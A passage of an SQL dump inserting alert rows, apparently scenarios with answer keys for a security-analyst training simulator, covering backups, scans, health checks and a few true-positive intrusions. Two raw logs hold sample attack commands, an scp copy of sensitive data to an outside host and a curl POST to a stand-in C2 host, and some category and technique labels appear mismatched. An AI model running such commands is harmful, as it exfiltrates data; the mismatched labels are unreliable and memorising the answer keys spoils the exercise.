scan.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Upon investigation, it was confirmed that the network traffic was generated by an authorized vulnerability scan tool.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1949, 'Authorized Administrative Backup Mistaken for Data Exfiltration', 'low', 'Corelight', 'Data transfer activity to an external backup server was flagged as potential data exfiltration. This was an authorized backup process.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.10\",\"username\":\"backup_admin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/backup/ user@203.0.113.10:/remote/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address belongs to a trusted backup service provider.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ user@203.0.113.10:/remote/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command matches authorized backup procedure.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"External data transfer was part of scheduled backup operations, confirmed by IT.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1950, 'Misconfigured Legacy App Generating Suspicious Network Traffic', 'medium', 'Suricata', 'Network traffic from a legacy application server was flagged as suspicious. The application is known to generate erratic traffic patterns.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:22:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.30\",\"dst_ip\":\"192.168.2.35\",\"username\":\"legacy_app_user\",\"hostname\":\"legacy-server\",\"command_line\":\"java -jar /opt/legacy/app.jar\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.35\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"java -jar /opt/legacy/app.jar\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution is part of the legacy application operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The network traffic patterns are typical for this legacy application and have been documented in historical logs.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1951, 'Benign System Health Checks Triggering Lateral Movement Alert', 'medium', 'Wireshark', 'System health check scripts were detected as possible lateral movement. These checks are part of routine maintenance.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.50\",\"dst_ip\":\"192.168.3.55\",\"username\":\"health_check_user\",\"hostname\":\"maintenance-server\",\"command_line\":\"python /scripts/health_check.py\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"python /scripts/health_check.py\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"clean\",\"details\":\"Command execution is part of routine system health checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The processes observed are consistent with routine maintenance scripts executed by authorized personnel.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1952, 'Unauthorized Data Exfiltration Attempt Detected', 'critical', 'Darktrace', 'A large volume of data was observed being exfiltrated to an unauthorized external server. This activity was confirmed as an actual data breach attempt.', 'Data Exfil', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.10\",\"dst_ip\":\"203.0.113.100\",\"username\":\"compromised_user\",\"hostname\":\"compromised-machine\",\"command_line\":\"scp -r /sensitive_data/ user@203.0.113.100:/stolen_data/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address from the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"scp -r /sensitive_data/ user@203.0.113.100:/stolen_data/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution matches known data exfiltration patterns.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The data transfer to an unauthorized IP was confirmed as a malicious exfiltration attempt.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1953, 'Routine IT Scan Detected as Potential C2 Beaconing', 'medium', 'Zeek', 'A network scan was detected which matches the signature of C2 beaconing. The source IP belongs to the internal IT department conducting routine vulnerability assessments.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:32Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"10.0.0.200\",\"username\":\"it_admin\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS 10.0.0.200\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP used for routine scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 10.0.0.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard Nmap command for scanning\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The alert is a false positive as the source IP belongs to the IT department performing routine scans.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1954, 'Authorized Backup Traffic Mistaken for Data Exfiltration', 'medium', 'Suricata', 'Anomalous data transfer detected to an external IP, initially flagged as potential data exfiltration. Investigation reveals it is part of the scheduled backup routine to a cloud storage provider.', 'Data Exfiltration', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:27:19Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.50\",\"username\":\"backup_user\",\"hostname\":\"backup_server\",\"request_body\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP performing scheduled backups\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Known cloud storage provider IP\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive due to the authorized nature of the backup traffic.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1955, 'Internal Health Check Misidentified as Lateral Movement', 'low', 'Corelight', 'A health check script execution was misidentified as lateral movement within the network. The script is part of regular system maintenance procedures.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:15:43Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"sysadmin\",\"hostname\":\"healthcheck01\",\"command_line\":\"check_system_health.sh\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in system health checks\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"check_system_health.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Regular script for system health checks\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it involves legitimate health check activities.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1956, 'Legacy Application Misconfiguration Triggers C2 Alert', 'high', 'Darktrace', 'Anomalous outbound traffic was detected, flagged as C2 communication. The traffic originates from a misconfigured legacy application attempting to connect to an outdated external server.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:33:21Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"198.51.100.10\",\"username\":\"app_user\",\"hostname\":\"legacy_app01\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP from legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"External IP associated with outdated service\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert is a false positive due to the legacy application\'s misconfiguration.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1957, 'Detected C2 Beaconing Activity - True Positive', 'critical', 'Wireshark', 'Suspicious beaconing activity detected from an internal host to a known malicious external IP, indicating potential C2 communication.', 'C2 Beaconing', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:55:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.75\",\"dst_ip\":\"203.0.113.99\",\"username\":\"compromised_user\",\"hostname\":\"infected_host\",\"command_line\":\"\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP showing suspicious behavior\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The alert is a true positive as it involves communication with a known malicious external IP.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1958, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'A series of network scans were detected originating from an internal server. These scans are part of routine vulnerability assessment procedures.', 'Data Exfil', 'T1041', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:15:22Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"192.168.1.255\",\"username\":\"admin\",\"hostname\":\"vuln-scan-01\",\"command_line\":\"nmap -sP 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used for vulnerability scanning\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sP 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network scan command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This alert corresponds to a known and scheduled vulnerability scan.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1959, 'Authorized Administrative Backups Triggered Unusual Traffic Patterns', 'low', 'Suricata', 'Network traffic resembling data exfiltration detected, traced back to scheduled backup tasks from an internal server.', 'Data Exfil', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.50\",\"username\":\"backupadmin\",\"hostname\":\"backup-server\",\"command_line\":\"rsync -avz /data/ 10.0.0.50:/backup/\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of internal backup server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -avz /data/ 10.0.0.50:/backup/\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Authorized backup operation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected traffic is consistent with scheduled backup operations.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1960, 'Benign System Health Checks Mistaken for C2 Beaconing', 'low', 'Corelight', 'Network activity originally flagged as potential C2 beaconing was found to be routine system health checks by a legacy application.', 'Lateral Movement', 'T0888', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:22:33Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"healthcheck\",\"hostname\":\"legacy-app-01\",\"command_line\":\"curl http://192.168.2.20:8080/status\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP address of internal legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"curl http://192.168.2.20:8080/status\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check command\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The activity is consistent with regular application health checks.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1961, 'Misconfigured Legacy App Causing False Positive C2 Alerts', 'medium', 'Darktrace', 'Network connections from a legacy application server are triggering C2 alerts due to misconfiguration. Investigation reveals routine internal application processes.', 'C2', 'T1094', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:02:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.1.1.25\",\"dst_ip\":\"10.1.1.100\",\"username\":\"legacyadmin\",\"hostname\":\"legacy-app-02\",\"command_line\":\"ping -c 5 10.1.1.100\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address belonging to a legacy application\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"ping -c 5 10.1.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine network connectivity check\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"The detected activity is due to a known misconfiguration in the legacy application.\"}', 'Intermediate', 'NDR', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1962, 'True Positive: C2 Beaconing Detected from Compromised Host', 'critical', 'Wireshark', 'A compromised host within the network is exhibiting behavior consistent with command and control beaconing to an external IP.', 'C2', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T17:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"45.76.67.89\",\"username\":\"unknown\",\"hostname\":\"compromised-host\",\"command_line\":\"curl -X POST http://malicious.c2/command\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.67.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for command and control activities\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -X POST http://malicious.c2/command\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with known C2 server\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2\",\"analysis_notes\":\"This alert is confirmed as a true positive due to the nature of the connections and external IP reputation.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1963, 'Routine IT Vulnerability Scanning Detected', 'low', 'Zeek', 'A network scan was detected originating from an internal IP. This is a routine scan performed by the IT department.', 'Lateral Movement', 'T1021', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"it_admin\",\"hostname\":\"scan_server\",\"command_line\":\"nmap -sS 192.168.1.0/24\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address used by the IT department for scanning.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sS 192.168.1.0/24\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine IT scanning command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The alert is a false positive as it involves a routine scan by IT personnel.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1964, 'Authorized Administrative Backup Activity', 'low', 'Corelight', 'Backup data transfer detected from critical server to backup storage. Verified as part of regular backup schedule.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"10.0.0.100\",\"username\":\"backup_service\",\"hostname\":\"main_server\",\"command_line\":\"rsync -av /data 10.0.0.100:/backup\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP representing the main server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rsync -av /data 10.0.0.100:/backup\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Standard backup command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This is a scheduled backup operation and not unauthorized data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1965, 'Benign System Health Check', 'low', 'Darktrace', 'Detected network traffic resembling beaconing activity. Identified as routine health check by monitoring tool.', 'C2 Beaconing', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.1.10\",\"dst_ip\":\"192.168.1.200\",\"username\":\"monitor_service\",\"hostname\":\"monitoring_tool\",\"command_line\":\"health_check --ping --interval 5\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP for monitoring tool.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"health_check --ping --interval 5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine health check command.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"Traffic resembles beaconing but is an internal system health check.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1966, 'Misconfigured Legacy Application Communication', 'medium', 'Wireshark', 'Detected unusual network traffic patterns from a legacy application server. Confirmed as benign due to misconfiguration.', 'Data Exfiltration', 'T1048', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T15:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"send_data --port 8080 --protocol TCP\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a legacy application server.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"send_data --port 8080 --protocol TCP\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Command related to misconfigured legacy app communication.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The misconfigured application is causing unusual traffic patterns, not data exfiltration.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1967, 'Suspicious Network Connection from External IP', 'high', 'Suricata', 'A connection attempt was detected from a foreign IP address with a history of malicious activity, targeting an internal server.', 'C2 Beaconing', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.50\",\"username\":\"unknown\",\"hostname\":\"target_server\",\"command_line\":null}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted server.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The alert is a true positive due to malicious intent from a known bad actor IP.\"}', 'Intermediate', 'NDR', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1968, 'Suspicious Internal Network Traffic Detected', 'medium', 'Zeek', 'Internal network scan detected originating from an authorized vulnerability assessment tool. Traffic resembles lateral movement patterns.', 'Lateral Movement', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T23:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"192.168.1.101\",\"username\":\"audit_user\",\"hostname\":\"vuln-scan01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal vulnerability scanning tool\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is an internal asset\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The traffic is consistent with authorized internal network scanning activities.\"}', 'Intermediate', 'NDR', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1969, 'Routine Administrative Backup Process Detected', 'low', 'Corelight', 'Data transfer detected to backup server from internal database server. Activity resembles data exfiltration.', 'Data Exfiltration', 'T1020', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.200\",\"username\":\"backup_admin\",\"hostname\":\"db-server01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal database server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"This activity is a normal backup operation scheduled by IT.\"}', 